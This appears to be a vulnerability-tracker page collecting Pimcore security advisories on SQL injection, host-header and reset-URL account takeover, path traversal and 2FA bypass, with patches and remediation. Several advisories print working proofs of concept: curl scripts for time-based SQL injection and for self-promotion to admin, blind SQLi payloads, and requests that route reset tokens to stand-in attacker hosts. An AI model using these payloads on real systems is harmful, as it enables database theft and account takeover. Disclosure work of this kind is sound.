See how pimcore compares to other vendors in security performance
Pimcore before 6.2.2 lacks an Access Denied outcome for a certain scenario of an incorrect recipient ID of a notification.
Pimcore before 6.2.2 lacks brute force protection for the 2FA token.
Pimcore is an open source data and experience management platform. Prior to version 10.5.9, the user controlled twig templates rendering in Pimcore/Mail & ClassDefinition\Layout\Text is vulnerable to server-side template injection, which could lead to remote code execution. Version 10.5.9 contains a patch for this issue. As a workaround, one may apply the patch manually.
Overview
A potential security vulnerability discovered in pimcore/admin-ui-classic-bundle version up to v1.3.3 . The vulnerability involves a Host Header Injection in the invitationLinkAction function of the UserController, specifically in the way $loginUrl trusts user input.
Details
The host header from incoming HTTP requests is used unsafely when generating URLs. An attacker can manipulate the HTTP host header in requests to the /admin/user/invitationlink endpoint, resulting in the generation of URLs with the attacker's domain.
In fact, if a host header is injected in the POST request, the $loginURL parameter is constructed with this unvalidated host header. It is then used to send an invitation email to the provided user.
Here is an excerpt from the affected section of UserController.php file: // /src/Controller/Admin/UserController.php public function invitationLinkAction(Request $request, TranslatorInterface $translator): JsonResponse { // ..snip.. $token = Tool\Authentication::generateTokenByUser($user); $loginUrl = $this->generateCustomUrl([ 'token' => $token, 'reset' => true, ]);
try { $mail = Tool::getMail([$user->getEmail()], 'Pimcore login invitation for ' . Tool::getHostname()); $mail->setIgnoreDebugMode(true); $mail->text("Login to pimcore and change your password using the following link. This temporary login link will expire in 24 hours: \r\n\r\n" . $loginUrl); $mail->send(); // ..snip.. } // ..snip.. private function generateCustomUrl(array $params, string $fallbackUrl = 'pimcoreadminlogincheck', int $referenceType = UrlGeneratorInterface::ABSOLUTEURL): string { try { $adminEntryPointRoute = $this->getParameter('pimcoreadmin.customadminroutename');
//try to generate invitation link for custom admin point $loginUrl = $this->generateUrl($adminEntryPointRoute, $params, $referenceType); } catch (\Exception $e) { //use default login check for invitation link $loginUrl = $this->generateUrl($fallbackUrl, $params, $referenceType); }
return $loginUrl; } The $loginUrl variable is constructed using the generateCustomUrl function. If an attacker injects a malicious host header into a POST request, the resulting $loginUrl will include the malicious domain, and this link is then sent via email to the user.
Proof of Concept
Here is an example of a request that exploits this vulnerability: POST /admin/user/invitationlink HTTP/1.1 Host: attacker-domain.evil Cookie: PHPSESSID=test X-pimcore-extjs-version-major: 7 X-pimcore-extjs-version-minor: 0 X-Requested-With: XMLHttpRequest X-pimcore-csrf-token: 961c37cf60edfdc2eec5a705cb048aaa8c32804d
username=[username of a valid user]
The URL in the email will look like: http://attacker-domain.evil/admin/login/login?token=[TOKEN]
Impact
This vulnerability can be used to perform phishing attacks by making the URLs in the invitation links emails point to an attacker-controlled domain.
Remediation
We recommend validating the host header and ensuring it matches the application's domain. It would also be beneficial to use a default trusted host or hostname if the incoming host header is not recognized or is absent.
Similar vulnerability (CVE-2024-23648) has been fixed in this project (https://github.com/pimcore/admin-ui-classic-bundle/commit/70f2205b5a5ea9584721d4f3e803f4d0dd5e4655)
Credit
Discovered by @v0lck3r (Oussama RAHALI), Feb 2024.
Impact You can create, delete etc. tags without having the permission to do so. This vulnerability allows an attacker to perform broken access control and add tags to admin panel and add dumy data. One can do this as intruder and add text parameters with random numbers and this will effect integrity and availability.
Patches Available in version 1.3.3.
Workarounds Apply this pull request manually: https://github.com/pimcore/admin-ui-classic-bundle/pull/412
References -
pimcore is vulnerable to Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Summary
The password reset functionality sends to the the user requesting a password change an email containing an URL to reset its password.
The URL sent contains a unique token, valid during 24 hours, allowing the user to reset its password. This token is highly sensitive ; as an attacker able to retrieve it would be able to resets the user's password.
It was identified during the audit that the reset-password URL is crafted using the "Host" HTTP header of the request sent to request a password reset.
This way, an external attacker could send password requests for users, but specify a "Host" header of a website that they control. If the user receiving the mail clicks on the link, the attacker would retrieve the reset token of the victim and perform account takeover.
Details
This attack required the server to serve Pimcore on arbitrary "Host". This configuration would be plausible if the attacker is already behind the reverse proxy. During the assessment of my client, their instance was accepting any Host header, and they did not received security recommendations that they should restrict this while installing Pimcore.
From what I understood of Pimcore, the vulnerability is in the "admin-ui-classic-bundle", in the file src/Controller/Admin/UserController.php.
The following screenshots provide evidences of the vulnerability. The environment of the test is : dockerized Pimcore v11.1.1 on default configuration (https://pimcore.com/docs/platform/Pimcore/GettingStarted/Installation/DockerBasedInstallation/).
PoC !image !image
Remediation Create a variable that sets the server host. Don't enable password reset functionality while this variable is not set ; or make sure that the administrator knows what they are doing.
I believe that just documenting that the server should not serve on any Host would not be enough to enforce a remediation to this vulnerability.
The Snipe-IT project managed this same issue by creating a "APPALLOWINSECUREHOSTS" variable, and retrieving the app absolute URL from a config file : https://github.com/snipe/snipe-it/commit/0c4768fd2a11ac26a61814cef23a71061bfd8bcc
Impact Could lead to a 1-click account takeover
Summary The application allows to create zip files from available files on the site. The parameter "selectedIds", is susceptible to SQL Injection.
Details downloadAsZipJobsAction escape parameters, but downloadAsZipAddFilesAction not. The following code should be added: foreach ($selectedIds as $selectedId) { if ($selectedId) { $quotedSelectedIds[] = $db->quote($selectedId); } }
PoC
- Set up an example project as described on https://github.com/pimcore/demon (demo package with example content) - Log In. Grab the X-pimcore-csrf-token header from any request to the backend, as well as the PHPSESSID cookie. - Run the following script, substituting the values accordingly: #!/bin/bash BASEURL=http://localhost # REPLACE THIS! CSRFTOKEN="5133f9d5d28de7dbab39e33ac7036271284ee42e" # REPLACE THIS! COOKIE="PHPSESSID=4312797207ba3b342b29218fa42f3aa3" # REPLACE THIS! SQL="(selectfrom(select(sleep(6)))a)"
curl "${BASEURL}/admin/asset/download-as-zip-add-files?dc=1700573579093&id=1&selectedIds=1,${SQL}&offset=10&limit=5&jobId=655cb18a37b01" \ -X GET \ -H "X-pimcore-csrf-token: ${CSRFTOKEN}" \ -H "Cookie: ${COOKIE}" - The response is delayed by 6 seconds.
Impact Any backend user with very basic permissions can execute arbitrary SQL statements and thus alter any data or escalate their privileges to at least admin level.
Path Traversal: '\..\filename' in GitHub repository pimcore/pimcore prior to 10.5.22.
Privilege Defined With Unsafe Actions in GitHub repository pimcore/pimcore prior to 10.5.23.
Summary An incomplete SQL injection patch in the Admin Search Find API allows an authenticated attacker to perform blind SQL injection. Although CVE-2023-30848 attempted to mitigate SQL injection by removing SQL comments (--) and catching syntax errors, the fix is insufficient. Attackers can still inject SQL payloads that do not rely on comments and infer database information via blind techniques. This vulnerability affects the admin interface and can lead to database information disclosure.
Details The vulnerability exists in the Admin Search Find API endpoint: /admin/search/search/find In CVE-2023-30848, the following patch was applied:
- SQL comments are removed by replacing -- - SQL syntax errors are caught and replaced with a generic exception
Relevant commit: https://github.com/pimcore/pimcore/commit/25ad8674886f2b938243cbe13e33e204a2e35cc3
Key changes include: // remove sql comments $fields = strreplace('--', '', $fields);
try { $hits = $searcherList->load(); } catch (SyntaxErrorException $syntaxErrorException) { throw new \InvalidArgumentException('Check your arguments.'); } However, this mitigation is incomplete for the following reasons:
1. Only -- is filtered
SQL injection does not require SQL comments. Payloads using boolean conditions, SQL functions, or time-based expressions remain effective.
2. Exception handling only suppresses error output
While syntax errors no longer produce detailed error messages, the underlying SQL query is still executed. This allows attackers to perform blind SQL injection.
3. User-controlled input is still used in SQL query construction The fields[] parameter is attacker-controlled and can be abused to inject SQL expressions into the generated query.
As a result, attackers can craft payloads that do not trigger syntax errors and still influence SQL execution. PoC The following request demonstrates a blind SQL injection via the fields[] parameter.
Boolean-based Blind Injection GET /admin/search/search/find?query=2& fields[]=field1 AND (SELECT CASE WHEN (1=1) THEN 1 ELSE 0 END)=1~field2& filter=[{"property":"value"}]& class=classname Time-based Blind Injection GET /admin/search/search/find?query=2& fields[]=field1 AND IF(1=1,SLEEP(5),0)~field2& filter=[{"property":"value"}]& class=classname Observed behavior:
- When the condition is true, the response is delayed (e.g., ~5 seconds)
- When the condition is false, the response is returned immediately
This confirms that injected SQL expressions are executed successfully. Impact This is a Blind SQL Injection vulnerability.
- Affected users: Systems exposing the Admin Search Find API to authenticated users
- Attack requirements: Authenticated access to the admin interface
- Potential impact:
- Database schema enumeration - Extraction of sensitive data via blind SQL injection - Potential full database compromise depending on database privileges
This issue demonstrates that the fix for CVE-2023-30848 is incomplete.
Summary
An unauthenticated attacker takes over any Pimcore admin account by sending a password reset request with an attacker-controlled resetPasswordUrl. The server generates a real cryptographic recovery token, appends it to the attacker's URL, and emails the link to the victim. When the victim clicks the link in their email, the token is sent to the attacker's server. The attacker then uses POST /pimcore-studio/api/login/token to authenticate as the victim with full admin privileges. Token login explicitly disables two-factor authentication, so even accounts with TOTP/Google Authenticator are compromised.
Vulnerability Details
Unauthenticated Endpoint Accepts Attacker URL
The reset password endpoint at src/User/Controller/ResetPasswordController.php line 53 is public (uses PUBLICSTUDIOAPI voter). The ResetPassword schema at src/User/Schema/ResetPassword.php accepts a resetPasswordUrl string as a required parameter with zero validation. No URL scheme check, no domain allowlist, no comparison against the configured system domain.
php final readonly class ResetPassword { public function construct( private string $username, private string $resetPasswordUrl // attacker-controlled, no validation ) {} }
Token Appended to Attacker URL
In src/User/Service/UserLoginService.php at line 64-65, the service generates a real recovery token and concatenates the attacker's URL with the token:
php $token = $this->authenticationResolver->generateTokenByUser($user); $loginUrl = $resetPassword->getResetPasswordUrl() . '?token=' . $token;
The token is generated and stored in the database BEFORE sendResetPasswordMail() is called on line 68. Even if email delivery fails, the token exists.
Token Login Bypasses 2FA
src/Security/Authenticator/AdminTokenAuthenticator.php line 60 explicitly disables 2FA on token login:
php $pimcoreUser->setTwoFactorAuthentication('required', false);
Token Validity
The token is encrypted with the application secret, valid for 24 hours, and single-use (nullified after authentication). The attacker's server captures it before the victim completes any reset flow.
Steps to Reproduce
Tested on Pimcore 12.x (2026.x branch, latest commit 82f9ff6), Docker, PHP 8.4.
1. Send password reset with attacker URL (no authentication needed)
http POST /pimcore-studio/api/user/reset-password HTTP/1.1 Host: TARGET Content-Type: application/json
{"username":"admin","resetPasswordUrl":"https://ATTACKERSERVER:9999/steal"} <img width="1756" height="882" alt="image" src="https://github.com/user-attachments/assets/9cb90c8e-6c08-4cd6-980a-822bbd35dc23" />
- Response: 500 (email delivery failed in test env, but token def5020020bd133... visible in error trace, confirmed generated in DB
2. Confirm token was generated
Database query shows the recovery token was created:
name hastoken tokenprefix admin 1 def50200cdbd3c1292288a716c623f
3. Token login (after victim clicks the link in their email)
http POST /pimcore-studio/api/login/token HTTP/1.1 Host: TARGET Content-Type: application/json
{"token":"def50200cdbd3c1292288a716c623f...fulltoken..."}
Response:
HTTP/1.1 200 OK Set-Cookie: PHPSESSID=48d784c5bfcc09c8b897f2ab34038419; path=/; httponly; samesite=strict Set-Cookie: pimcorestudioauthprofiletoken=d7a9ad; path=/; httponly; samesite=lax <img width="1756" height="679" alt="image" src="https://github.com/user-attachments/assets/53bf8f30-47c1-4398-b386-9929b77a35b5" />
4. Verify full admin access with the stolen session
http GET /pimcore-studio/api/users HTTP/1.1 Host: TARGET Cookie: PHPSESSID=48d784c5bfcc09c8b897f2ab34038419
Response: HTTP/1.1 200 OK
json {"totalItems":1,"items":[{"id":1,"username":"admin","additionalAttributes":[]}]} <img width="1668" height="906" alt="image" src="https://github.com/user-attachments/assets/8f2b63b0-6357-4fe6-9689-35eb891de5ab" />
Full admin session obtained. All CMS content, assets, PIM data, user accounts, and system configuration are accessible.
Impact
An unauthenticated attacker who knows a valid admin username takes over the account with full administrative privileges. The only user interaction is the victim clicking a password reset link in a legitimate email from the Pimcore instance. The email comes from the real Pimcore server, making it indistinguishable from a genuine reset email.
The attack bypasses authentication (public endpoint), two-factor authentication (explicitly disabled on token login), and rate limiting (allows 3 attempts per window, trivially worked around with multiple IPs).
Once authenticated as admin, the attacker controls all CMS content, digital assets, PIM product data, user accounts, system configuration, and server-side code execution via class definitions.
Recommended Fix
Remove the resetPasswordUrl parameter entirely and construct the URL server-side from the configured system domain:
php $loginUrl = 'https://' . $this->domain . '/admin/login?token=' . $token;
If the frontend needs to specify the URL for multi-domain setups, validate the host against the configured domain and any registered Site domains.
Supporting Materials
- Live-tested on Pimcore 12.x (2026.x branch, Docker, PHP 8.4) - Package: pimcore/studio-backend-bundle - Distinct from CVE-2021-39189 (user enumeration in password reset, not URL injection)
An SQL injection vulnerability in Pimcore admin-ui-classic-bundle through version 2.3 allows authenticated backend users to execute arbitrary SQL via the DataObject grid id column filter. The filter value is concatenated directly into the SQL WHERE clause without parameterization. An attacker with backend access can exfiltrate or modify all database contents.
Impact SQL injections in AssetController due to unsanitized concatenating strings in where clause. The attacker can dump database, alter data or perform dos on the backend database.
Patches Update to version 10.5.21 or apply this patch manually https://github.com/pimcore/pimcore/commit/21e35af721c375ef4676ed50835e30d828e76520.patch
Workarounds Apply patch https://github.com/pimcore/pimcore/commit/21e35af721c375ef4676ed50835e30d828e76520.patch manually.
References https://huntr.dev/bounties/bbf59fa7-cf5b-4945-81b0-328adc710462/
pimcore is vulnerable to Improper Neutralization of Special Elements used in an SQL Command
Pimcore is an open source data & experience management platform. Prior to version 10.1.1, Data Object CSV import allows formular injection. The problem is patched in 10.1.1. Aside from upgrading, one may apply the patch manually as a workaround.
This affects the package pimcore/pimcore before 10.0.7. This issue exists due to the absence of check on the storeId parameter in the method collectionsActionGet and groupsActionGet method within the ClassificationstoreController class.
In Pimcore before 5.7.1, an attacker with limited privileges can trigger execution of a .phar file via a phar:// URL in a filename parameter, because PHAR uploads are not blocked and are reachable within the phar://../../../../../../../../var/www/html/web/var/assets/ directory, a different vulnerability than CVE-2019-10867 and CVE-2019-16318.
In Pimcore before 5.7.1, an attacker with limited privileges can bypass file-extension restrictions via a 256-character filename, as demonstrated by the failure of automatic renaming of .php to .php.txt for long filenames, a different vulnerability than CVE-2019-10867 and CVE-2019-16317.
An issue was discovered in Pimcore before 5.7.1. An attacker with classes permission can send a POST request to /admin/class/bulk-commit, which will make it possible to exploit the unserialize function when passing untrusted values in the data parameter to bundles/AdminBundle/Controller/Admin/DataObject/ClassController.php.
Pimcore before 5.3.0 allows remote attackers to conduct cross-site request forgery (CSRF) attacks by leveraging validation of the X-pimcore-csrf-token anti-CSRF token only in the "Settings > Users / Roles" function.
SQL injection in ElementController.php in GitHub repository pimcore/pimcore prior to 10.3.5. This vulnerability is capable of steal the data
Impact A path traversal vulnerability exists in the AssetController::importServerFilesAction, which allows an attacker to overwrite or modify sensitive files by manipulating the pimcorelog parameter.This can lead to potential denial of service---key file overwrite.
The impact of this vulnerability allows attackers to:
Overwrite or modify sensitive files, potentially leading to unauthorized access, privilege escalation, or disclosure of confidential information.
Tamper with system settings by modifying key files, such as the hosts file in Windows or configuration files for other services.
Cause a denial of service (DoS) if critical system files are overwritten or deleted.
The consequences of exploiting this vulnerability can be detrimental to the confidentiality, integrity, and availability of the affected system. It's crucial to address this vulnerability to protect sensitive data and ensure the proper functioning of the system.
Patches Update to version 10.6.7 or apply this patch manually https://github.com/pimcore/pimcore/commit/58012d0e3b8b926fb54eccbd64ec5c993b30c22c.patch
Workarounds Apply patch https://github.com/pimcore/pimcore/commit/58012d0e3b8b926fb54eccbd64ec5c993b30c22c.patch manually.
An improper SameSite Attribute vulnerability in pimCore v10.5.15 allows attackers to execute arbitrary code.
SQL Injection in GitHub repository pimcore/pimcore prior to 10.5.19.
Impact SQL injection is a web security vulnerability that allows an attacker to interfere with the queries that an application makes to its database. It generally allows an attacker to view data that they are not normally able to retrieve. This might include data belonging to other users, or any other data that the application itself is able to access.
In many cases, an attacker can modify or delete this data, causing persistent changes to the application's content or behavior. In some situations, an attacker can escalate an SQL injection attack to compromise the underlying server or other back-end infrastructure, or perform a denial-of-service attack. It was observed that the reported API endpoint accessible by an authenticated administrator user and is vulnerable to SQL injection via the "filter" POST parameter. The parameter accepts JSON formatted data. The value of JSON key "property" inside "filter" is not sanitized properly and is used in a SQL statement in an unsafe manner, resulting in SQL injection.
Patches Update to version 10.5.21 or apply this patch manually https://github.com/pimcore/pimcore/commit/7e32cc28145274ddfc30fb791012d26c1278bd38.patch
Workarounds Apply patch https://github.com/pimcore/pimcore/commit/7e32cc28145274ddfc30fb791012d26c1278bd38.patch manually.
References https://github.com/pimcore/pimcore/pull/14952
Impact SQL injection is a web security vulnerability that allows an attacker to interfere with the queries that an application makes to its database. It generally allows an attacker to view data that they are not normally able to retrieve. This might include data belonging to other users, or any other data that the application itself is able to access.
In many cases, an attacker can modify or delete this data, causing persistent changes to the application's content or behavior. In some situations, an attacker can escalate an SQL injection attack to compromise the underlying server or other back-end infrastructure, or perform a denial-of-service attack. It was observed that the reported API endpoint accessible by an authenticated administrator user and is vulnerable to SQL injection via the "fields[]" GET parameter. The parameter is not sanitized properly and is used in a SQL statement in an unsafe manner, resulting in SQL injection.
Patches Update to version 10.5.21 or apply this patch manually https://github.com/pimcore/pimcore/commit/25ad8674886f2b938243cbe13e33e204a2e35cc3.patch
Workarounds Apply patch https://github.com/pimcore/pimcore/commit/25ad8674886f2b938243cbe13e33e204a2e35cc3.patch manually.
References https://github.com/pimcore/pimcore/pull/14972
Impact SQL injection is a web security vulnerability that allows an attacker to interfere with the queries that an application makes to its database. It generally allows an attacker to view data that they are not normally able to retrieve. This might include data belonging to other users, or any other data that the application itself is able to access.
In many cases, an attacker can modify or delete this data, causing persistent changes to the application's content or behavior. In some situations, an attacker can escalate an SQL injection attack to compromise the underlying server or other back-end infrastructure, or perform a denial-of-service attack. It was observed that the reported API endpoint accessible by an authenticated administrator user and is vulnerable to SQL injection via the "filter" GET parameter. The parameter accepts JSON formatted data. The value of JSON key "property" inside "filter" is not sanitized properly and is used in a SQL statement in an unsafe manner, resulting in SQL injection
Patches Update to version 10.5.21 or apply this patch manually https://github.com/pimcore/pimcore/commit/c6c80905e58c7724c776f980570a56df7016c6d1.patch
Workarounds Apply patch https://github.com/pimcore/pimcore/commit/c6c80905e58c7724c776f980570a56df7016c6d1.patch manually.
References #14968
Summary
User input passed directly into an SQL statement allows (non-admin) backend users to execute arbitrary SQL statements.
Details
The /admin/object/grid-proxy endpoint calls getFilterCondition() on fields of classes to be filtered for at https://github.com/pimcore/admin-ui-classic-bundle/blob/bba7c7419cb1f06d5fd98781eab4d6995e4e5dca/src/Helper/GridHelperService.php#L311, passing input from the request, and later executes the returned SQL. One implementation of getFilterCondition() is in Multiselect, which does not normalize/escape/validate the passed value: https://github.com/pimcore/pimcore/blob/42b6cfa77c4540205bdd10689893ccb73e4bac8f/models/DataObject/ClassDefinition/Data/Multiselect.php#L285-L312
PoC
Set up an example project as described on https://pimcore.com/docs/platform/Pimcore/GettingStarted/Installation/DockerBasedInstallation (demo package with example content) Enter the backend and add a new user without admin privileges, but the "Objects" permission enabled. Log out and back in with the new user. Grab the X-pimcore-csrf-token header from any request the backend does, as well as the PHPSESSID cookie. Run the following script, substituting the values accordingly: bash #!/bin/bash BASEURL=http://localhost:8084 # REPLACE THIS! CSRFTOKEN="bd89fd7ceb3b541dd63c200fd4fc8c8ea3cc1a05" # REPLACE THIS! COOKIE="PHPSESSID=a0f408f9af7657430a4e6a1608c80277" # REPLACE THIS! SQL="UPDATE users SET admin=1" FILTERJSON="[{\"property\":\"tags\",\"operator\":\"=\",\"type\":\"list\",\"value\":[\"')); ${SQL}; --\"]}]" curl "${BASEURL}/admin/object/grid-proxy?classId=EV&folderId=1119" \ -X POST \ -H "X-pimcore-csrf-token: ${CSRFTOKEN}" \ -H "Cookie: ${COOKIE}" \ --data "filter=$FILTERJSON" Refresh the backend, the user is admin now.
Notes The above process also works with the initial admin user, but for demonstration purposes it is more interesting to use an unpriveleged one. Other important variables to adjust in the above script for other deployments are the classId=EV&folderId=1119 parameters, which must reference an existing class and folder, as well as "property":"tags", which points to a Multiselect field in this class.
Impact
Any backend user with very basic permissions can execute arbitrary SQL statements and thus alter any data or escalate their privileges to at least admin level.
Patches Apply patch manually.
Workarounds Update to version 11.1.1 or apply this patch manually.
Pimcore is an open source data and experience management platform. When a PortalUserObject is connected to a PimcoreUser and "Use Pimcore Backend Password" is set to true, the change password function in Portal Profile sets the new password. Prior to Pimcore portal engine versions 4.1.7 and 3.1.16, the password is then set without hashing so it can be read by everyone. Everyone who combines PortalUser to PimcoreUsers and change passwords via profile settings could be affected. Versions 4.1.7 and 3.1.16 of the Pimcore portal engine fix the issue.